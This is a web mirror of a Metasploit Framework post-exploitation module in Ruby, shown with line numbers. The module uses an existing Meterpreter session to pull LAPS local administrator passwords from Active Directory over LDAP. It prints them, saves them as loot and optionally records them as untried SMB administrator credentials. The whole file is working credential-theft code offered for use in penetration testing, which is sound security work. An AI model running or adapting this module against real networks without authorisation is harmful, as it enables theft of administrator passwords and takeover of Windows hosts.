CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/post/windows/gather/credentials/enum_laps.rb
Views: 11704
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Post
7
include Msf::Auxiliary::Report
8
include Msf::Post::Windows::LDAP
9
10
FIELDS = [
11
'distinguishedName',
12
'dNSHostName',
13
'ms-MCS-AdmPwd',
14
'ms-MCS-AdmPwdExpirationTime'
15
].freeze
16
17
def initialize(info = {})
18
super(
19
update_info(
20
info,
21
'Name' => 'Windows Gather Credentials Local Administrator Password Solution',
22
'Description' => %q{
23
This module will recover the LAPS (Local Administrator Password Solution) passwords,
24
configured in Active Directory, which is usually only accessible by privileged users.
25
Note that the local administrator account name is not stored in Active Directory,
26
so it is assumed to be 'Administrator' by default.
27
},
28
'License' => MSF_LICENSE,
29
'Author' => [
30
'Ben Campbell',
31
],
32
'Platform' => [ 'win' ],
33
'SessionTypes' => [ 'meterpreter' ],
34
'Compat' => {
35
'Meterpreter' => {
36
'Commands' => %w[
37
stdapi_net_resolve_hosts
38
]
39
}
40
}
41
)
42
)
43
44
register_options([
45
OptString.new('LOCAL_ADMIN_NAME', [true, 'The username to store the password against', 'Administrator']),
46
OptBool.new('STORE_DB', [true, 'Store file in loot.', false]),
47
OptBool.new('STORE_LOOT', [true, 'Store file in loot.', true]),
48
OptString.new('FILTER', [true, 'Search filter.', '(&(objectCategory=Computer)(ms-MCS-AdmPwd=*))'])
49
])
50
51
deregister_options('FIELDS')
52
end
53
54
def run
55
search_filter = datastore['FILTER']
56
max_search = datastore['MAX_SEARCH']
57
58
begin
59
q = query(search_filter, max_search, FIELDS)
60
rescue ::RuntimeError, ::Rex::Post::Meterpreter::RequestError => e
61
print_error(e.message)
62
return
63
end
64
65
if q.nil? || q[:results].empty?
66
print_status('No results returned.')
67
else
68
print_status('Parsing results...')
69
results_table = parse_results(q[:results])
70
print_line results_table.to_s
71
72
if datastore['STORE_LOOT']
73
stored_path = store_loot('laps.passwords', 'text/plain', session, results_table.to_csv)
74
print_good("Results saved to: #{stored_path}")
75
end
76
end
77
end
78
79
# Takes the results of LDAP query, parses them into a table
80
# and records and usernames as {Metasploit::Credential::Core}s in
81
# the database if datastore option STORE_DB is true.
82
#
83
# @param results [Array<Array<Hash>>] The LDAP query results to parse
84
# @return [Rex::Text::Table] the table containing all the result data
85
def parse_results(results)
86
laps_results = []
87
# Results table holds raw string data
88
results_table = Rex::Text::Table.new(
89
'Header' => 'Local Administrator Password Solution (LAPS) Results',
90
'Indent' => 1,
91
'SortIndex' => -1,
92
'Columns' => FIELDS
93
)
94
95
results.each do |result|
96
row = []
97
98
result.each do |field|
99
if field.nil?
100
row << ''
101
else
102
if field[:type] == :number
103
value = convert_windows_nt_time_format(field[:value])
104
else
105
value = field[:value]
106
end
107
row << value
108
end
109
end
110
111
hostname = result[FIELDS.index('dNSHostName')][:value].downcase
112
password = result[FIELDS.index('ms-MCS-AdmPwd')][:value]
113
dn = result[FIELDS.index('distinguishedName')][:value]
114
expiration = convert_windows_nt_time_format(result[FIELDS.index('ms-MCS-AdmPwdExpirationTime')][:value])
115
116
next if password.to_s.empty?
117
118
results_table << row
119
laps_results << {
120
hostname: hostname,
121
password: password,
122
dn: dn,
123
expiration: expiration
124
}
125
end
126
127
if datastore['STORE_DB']
128
print_status('Resolving IP addresses...')
129
hosts = []
130
laps_results.each do |h|
131
hosts << h[:hostname]
132
end
133
134
resolve_results = client.net.resolve.resolve_hosts(hosts)
135
136
# Match each IP to a host...
137
resolve_results.each do |r|
138
l = laps_results.find { |laps| laps[:hostname] == r[:hostname] }
139
l[:ip] = r[:ip]
140
end
141
142
laps_results.each do |r|
143
next if r[:ip].to_s.empty?
144
next if r[:password].to_s.empty?
145
146
store_creds(datastore['LOCAL_ADMIN_NAME'], r[:password], r[:ip])
147
end
148
end
149
150
results_table
151
end
152
153
def store_creds(username, password, ip)
154
service_data = {
155
address: ip,
156
port: 445,
157
service_name: 'smb',
158
protocol: 'tcp',
159
workspace_id: myworkspace_id
160
}
161
162
credential_data = {
163
origin_type: :session,
164
session_id: session_db_id,
165
post_reference_name: refname,
166
username: username,
167
private_data: password,
168
private_type: :password
169
}
170
171
credential_data.merge!(service_data)
172
173
# Create the Metasploit::Credential::Core object
174
credential_core = create_credential(credential_data)
175
176
# Assemble the options hash for creating the Metasploit::Credential::Login object
177
login_data = {
178
core: credential_core,
179
access_level: 'Administrator',
180
status: Metasploit::Model::Login::Status::UNTRIED
181
}
182
183
# Merge in the service data and create our Login
184
login_data.merge!(service_data)
185
create_credential_login(login_data)
186
end
187
188
# https://gist.github.com/nowhereman/189111
189
def convert_windows_nt_time_format(windows_time)
190
unix_time = windows_time.to_i / 10000000 - 11644473600
191
ruby_time = Time.at(unix_time)
192
ruby_time.strftime('%d/%m/%Y %H:%M:%S GMT %z')
193
end
194
end
195
196